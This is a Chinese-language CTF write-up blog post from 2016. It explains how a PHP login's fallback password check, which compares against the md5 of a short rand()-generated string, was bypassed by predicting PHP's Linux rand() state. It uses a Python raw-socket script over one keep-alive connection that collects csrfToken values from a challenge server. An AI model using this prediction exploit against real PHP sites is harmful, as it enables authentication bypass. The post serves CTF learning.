http keep-alive&&php rand

作者: 分类: CTF 时间: 2016-12-18 浏览: 1773 评论: 1条评论

之前0ctf的时候出的rand题,感觉原理懂了,没有实际操作。
结果昨天湘湖杯遇到了,发现没有想象的那么简单。

http://114.215.220.241/www.rar

可以下到源码,看了下,发现数据库是utf-8的,而且入库的时候都用转义过了。
应该不存在注入的可能。

if(!isset($_SESSION['csrfToken']) || $_SESSION['csrfToken'] != $csrfToken){
    echo '<div class="alert alert-danger alert-dismissable">
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
Sorry, sth. may be wrong</div>
<div id="returnVal" style="display:none;">false</div>';
}else{
    $userid = auth($username, $password);
    if($userid){
        echo '<div class="alert alert-success">
        <button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
        Login success.</div>
        <div id="returnVal" style="display:none;">true</div>';
        $_SESSION['userid'] = (int)$userid;
        $_SESSION['isLogin'] = true;
        $_SESSION['name'] = $username;

        $power = $user->get("select * from user where userid='".$_SESSION['userid']."'")->power;
        $_SESSION['power'] = $power;
    }else{
     ...

看一下auth函数

function auth($username, $password){
    global $user;//
    $sql = "select * from user where username='".$username."'";
    $res = $user->get($sql);
    if($res){
        if(hash_equals($res->password, md5($password.$res->salt))){
            return $res->userid;
        }
        return false;
    }
    else{
        $rand = RandomStr(4);
        $passPharse = md5($rand);

        return hash_equals(md5($password), $passPharse);
    }
}

这个else显然是有问题的...

function RandomStr($len=16){
        $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
        $random = '';
        for($i = 0; $i < $len; $i++){
            $random .= $chars[rand(0, strlen($chars)-1)];//
        }
        return $random;
    }

再看看RandomStr函数,可以确定是预测rand随机数

参考ph师傅和之前找到的php rand 预测文章

https://www.leavesongs.com/PENETRATION/safeboxs-secret.html

http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/

里面提到php rand函数在linux下有缺陷,符合下面的预测
state[i] = state[i-3] + state[i-31]

于是本地搭建了一个页面测试

<?php


    function RandomStr($len=16){
        $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
        $random = '';
        for($i = 0; $i < $len; $i++){
            $random .= $chars[rand(0, strlen($chars)-1)];//
        }
        return $random;
    }


    if(!function_exists('hash_equals')) {
        function hash_equals($known_string, $user_string) {
            $ret = 0;
            if (strlen($known_string) !== strlen($user_string)) {
                $user_string = $known_string;
                $ret = 1;
            }
            $res = $known_string ^ $user_string;
            for ($i = strlen($res) - 1; $i >= 0; --$i) {
                $ret |= ord($res[$i]);
            }

            return !$ret;
        }
    }

    //prevent side-channel. Hacker can't guess any username
    function auth($username, $password){
       
        $rand = RandomStr(1);
        $passPharse = md5($rand);

        return hash_equals(md5($password), $passPharse);
        
    }
echo RandomStr(16);
#echo RandomStr(16)."<br>";
#echo RandomStr(1);

发现在同一个页面显示的时候总是可以成功,但是多次发包的时候就不对了。
发包的时候已经带上了keep-alive,以为是自己服务器没有设置好。
百度半天无果,去请教ph师傅才知道得用python requests.Session()。

然后就可以了 =.= 一脸懵逼,于是抓包看了下
这是request的包

tupain2

这是requests.Session()的包

tupian3

woc,客户端怎么自己发了个FIN包,说好的keep-alive呢...

于是想了想,用socket就不会自己发FIN包了,试验一下

import socket
import re

def gogogo():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("114.215.220.241",80))
    data = '''GET /login.php HTTP/1.1
Host: 121.42.167.82
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://121.42.167.82/index.php
Cookie: PHPSESSID=5lqvg1b9oemal67g6kh4hjr0l7
Connection: keep-alive

'''
    sock.sendall(data)
    reply = sock.recv(4096)
    #print reply
    data1 = re.findall('id="csrfToken" value=(.*)>',reply)[0]
    sock.sendall(data)
    reply = sock.recv(4096)
    data2 = re.findall('id="csrfToken" value=(.*)>',reply)[0]
    state = data1+data2
    sock.sendall(data)
    reply = sock.recv(4096)
    data3 = re.findall('id="csrfToken" value=(.*)>',reply)[0]
    string ='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    print (string.index(state[29])+string.index(state[1]))%62
    print string.index(data3[0])
    return
    
gogogo()

于是妥妥的进admin.php咯

miaoshu

标签: none

订阅本站(RSS)

仅有 1 条评论

  1. 感觉PHP好难

    时间: 2016-12-26 at 15:53 回复

添加新评论